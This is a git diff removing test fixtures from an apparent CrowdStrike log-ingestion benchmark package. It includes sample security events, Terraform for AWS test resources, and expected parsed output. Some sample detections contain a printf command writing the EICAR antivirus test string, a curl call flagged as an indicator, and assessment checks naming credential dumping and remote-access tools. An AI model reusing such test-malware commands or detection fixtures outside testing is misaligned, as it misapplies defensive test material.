-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"} -{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"} -{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"} -{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"} -{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":{"Name":"DOMAIN\\BRADLEYA","ID":"1000"},"UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ad","event_platform":"Win","monthsincereset":"1.0"} -{"ChangeId":"ca65aa54f7b9453b8ef199a5b2c8e3c4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764581217862,"Nonce":13140498271151144192,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-01T09:26:57Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf deleted file mode 100644 index ac47ae84b0..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf +++ /dev/null @@ -1,125 +0,0 @@ -provider "aws" { - default_tags { - tags = { - environment = var.ENVIRONMENT - repo = var.REPO - branch = var.BRANCH - build = var.BUILD_ID - created_date = var.CREATED_DATE - } - } -} - -resource "aws_s3_bucket" "crowdstrike_fdr" { - bucket = "${var.bucket_name}-${var.TEST_RUN_ID}" -} - -resource "aws_s3_object" "crowdstrike_data" { - bucket = aws_s3_bucket.crowdstrike_fdr.id - key = "data" - source = "./files/fdr-sample.log" -} - -resource "aws_s3_object" "crowdstrike_aidmaster" { - bucket = aws_s3_bucket.crowdstrike_fdr.id - key = "fdrv2/aidmaster" - source = "./files/fdr-0_aidmaster.log" -} - -resource "aws_s3_object" "crowdstrike_userinfo" { - bucket = aws_s3_bucket.crowdstrike_fdr.id - key = "fdrv2/userinfo" - source = "./files/fdr-0_userinfo.log" -} - -resource "aws_sqs_queue" "crowdstrike_queue" { - name = "elastic-package-crowdstrike-queue-${var.TEST_RUN_ID}" -} - -# IAM Policy for EventBridge Scheduler -resource "aws_iam_policy" "sqs_access_policy" { - count = var.eventbridge_role_arn == null ? 1 : 0 - name = "sqs-access-policy-${var.TEST_RUN_ID}" - description = "Policy for EventBridge Scheduler to send messages to SQS" - - policy = jsonencode({ - Version = "2012-10-17" - Statement = [ - { - Action = [ - "sqs:ReceiveMessage", - "sqs:SendMessage" - ], - Effect = "Allow" - Resource = aws_sqs_queue.crowdstrike_queue.arn - } - ] - }) -} - -# IAM Role for EventBridge Scheduler -resource "aws_iam_role" "eventbridge_scheduler_iam_role" { - count = var.eventbridge_role_arn == null ? 1 : 0 - name_prefix = "eb-scheduler-role-${var.TEST_RUN_ID}-" - managed_policy_arns = [aws_iam_policy.sqs_access_policy.0.arn] - path = "/" - assume_role_policy = < eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n# Run a bash script with specified command line and timeout\n# DESCRIPTION\n# CrowdStrike Real Time Response command\n# PARAMETER WD\n# Current working directory\n# PARAMETER Param1\n# Script body - Required\n# PARAMETER Param2\n# Command line sent to script\n# PARAMETER Param3\n# Local path - path to local file to be used as script body\n# PARAMETER Param4\n# Timeout in seconds\n# NOTES\n# File Name : runscript.sh\n# Contact : support@crowdstrike.com\n# Copyright : CrowdStrike 2020\n# LINK\n# https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n echo \"$command: $1\" >&2\n exit 1\n}\n\nfunction err_handler()\n{\n # Rewrite the error message to remove the internal command prefix\n echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n eval set -- \"$1\"\n echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n script=\"$1\"\n shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n script_args=\"$1\"\n shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n script_path=\"$(get_arg \"$1\")\"\n if [ -n \"$script_path\" ]; then\n script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n fi\n shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n if [ -n \"$1\" ]; then\n timeout=\"$1\"\n fi\n shift\nfi\n\nif [ -z \"$script\" ]; then\n die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n current_time=$(get_time)\n if ((current_time - start_time >= timeout*resolution)); then\n kill -9 $pid >/dev/null 2>&1\n echo \"$command: Timed out waiting for script to exit\" >&2\n kill -9 -$$ >/dev/null 2>&1\n fi\n if ((current_time - last_print_time >= print_interval*resolution)); then\n printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n last_print_time=$current_time\n fi\n /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root","ExternalApiType":"Event_EppDetectionSummaryEvent"} -{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"} -{"Tactic":"Custom Intelligence","CustomerIdString":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","EventType":"Event_ExternalApiEvent","ParentProcessId":"1234567890123456789","SourceVendors":"CrowdStrike","AggregateId":"aggind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:9876543210987654321","UTCTimestamp":"1700000000","LogonDomain":"","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321?_cid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","CompositeId":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321","Name":"Intel Detection","SHA1String":"0000000000000000000000000000000000000000","SourceProducts":"Falcon Insight","ProcessEndTime":"1700000001","IOCValue":"example.com","PatternId":"5306","MitreAttack":[{"TacticID":"CSTA0005","Tactic":"Custom Intelligence","TechniqueID":"CST0005","PatternID":"5306","Technique":"Indicator of Compromise"}],"AgentId":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","ParentCommandLine":"-bash","ParentImageFilePath":"/usr/bin/bash","DataDomains":"Endpoint","LocalIPv6":"","PatternDispositionFlags":{"BootupSafeguardEnabled":"false","QuarantineFile":"false","QuarantineMachine":"false","HandleOperationDowngraded":"false","Detect":"false","RegistryOperationBlocked":"false","KillParent":"false","ContainmentFileSystem":"false","Indicator":"false","FsOperationBlocked":"false","OperationBlocked":"false","SuspendParent":"false","SuspendProcess":"false","KillProcess":"false","ProcessBlocked":"false","BlockingUnsupportedOrDisabled":"false","PolicyDisabled":"false","KillActionFailed":"false","SensorOnly":"false","CriticalProcessDisabled":"false","KillSubProcess":"false","Rooting":"false","InddetMask":"false"},"Hostname":"test-host-01","GrandParentCommandLine":"/usr/sbin/sshd -D -R","PatternDispositionDescription":"Detection, standard detection.","PlatformName":"Linux","Nonce":"1234567890123456789","Objective":"Falcon Detection Method","ProcessStartTime":"1700000000","Technique":"Indicator of Compromise","cid":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","eid":"118","Description":"A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.","FileName":"curl","ParentImageFileName":"bash","HostGroups":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6,b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7","LocalIP":"192.168.1.100","PlatformId":"3","timestamp":"2023-11-15T12:00:00Z","GrandParentImageFileName":"sshd","FilePath":"/usr/bin/curl","UserName":"testuser","MD5String":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5","SeverityName":"Informational","Severity":"10","CloudIndicator":"true","PatternDispositionValue":"0","ExternalApiType":"Event_EppDetectionSummaryEvent","SHA256String":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","NetworkAccesses":[{"AccessTimestamp":"1700000001","RemoteAddress":"192.168.1.1","LocalAddress":"192.168.1.100","LocalPort":"5353","RemotePort":"53","IsIPV6":"false","Protocol":"UDP","AccessType":"0"},{"AccessTimestamp":"1700000001","RemoteAddress":"192.168.1.2","LocalAddress":"192.168.1.100","LocalPort":"44300","RemotePort":"443","IsIPV6":"false","Protocol":"TCP","AccessType":"0"}],"CommandLine":"curl https://example.com","Type":"ldt","GrandParentImageFilePath":"/usr/sbin/sshd","MACAddress":"00-11-22-33-44-55","AgentIdString":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","IOCType":"domain","ProcessId":"1234567890123456789"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json deleted file mode 100644 index ff1c57bf92..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json +++ /dev/null @@ -1,2101 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902", - "AssociatedFile": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe", - "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333", - "DataDomains": "Endpoint", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999", - "GrandparentCommandLine": "C:\\Windows\\system32\\services.exe", - "GrandparentImageFileName": "services.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe", - "HostGroups": [ - "ba7f8041fd6c47dcae4cff3194861088", - "c8d1292a8a904216aa25ab728f4b45fd" - ], - "IOCType": "hash_sha256", - "IOCValue": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976", - "MACAddress": "01-23-45-67-89-ab", - "Objective": "Falcon Detection Method", - "ParentCommandLine": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"", - "PatternDispositionDescription": "Prevention, process was blocked from execution.", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": true, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 2048, - "PatternId": 5728, - "SensorId": "c8d1292a8a904216aa25ab728f4b45fd", - "Severity": 30, - "SeverityName": "Low", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Tactic": "Malware", - "Technique": "PUP", - "Type": "ldt" - }, - "device": { - "id": "c8d1292a8a904216aa25ab728f4b45fd" - }, - "event": { - "category": [ - "malware" - ], - "kind": "alert", - "original": "{\"ProcessStartTime\":1718032715,\"ProcessEndTime\":1718032715,\"ProcessId\":43009301133,\"ParentProcessId\":25841449898,\"Hostname\":\"DESKTOP1111\",\"UserName\":\"USER11111\",\"Name\":\"NGAV\",\"Description\":\"This file is classified as Adware/PUP based on its SHA256 hash.\",\"Severity\":30,\"SeverityName\":\"Low\",\"FileName\":\"rfusclient.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"CommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\\\" /rsession\",\"SHA256String\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"MD5String\":\"848a53dc549be0386e5da0f49700c389\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"OVAC\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"01-23-45-67-89-ab\",\"Tactic\":\"Malware\",\"Technique\":\"PUP\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Prevention, process was blocked from execution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"rutserv.exe\",\"ParentCommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\\\"\",\"GrandParentImageFileName\":\"services.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\services.exe\",\"HostGroups\":\"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"PatternId\":5728,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\services.exe\",\"LocalIPv6\":\"\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host", - "hash": { - "md5": "848a53dc549be0386e5da0f49700c389", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976" - }, - "name": "rfusclient.exe", - "path": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe" - }, - "host": { - "domain": "OVAC", - "hostname": "DESKTOP1111", - "mac": [ - "01-23-45-67-89-AB" - ], - "name": "DESKTOP1111" - }, - "message": "This file is classified as Adware/PUP based on its SHA256 hash.", - "process": { - "command_line": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession", - "end": "2024-06-10T15:18:35.000Z", - "entity_id": "43009301133", - "executable": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote 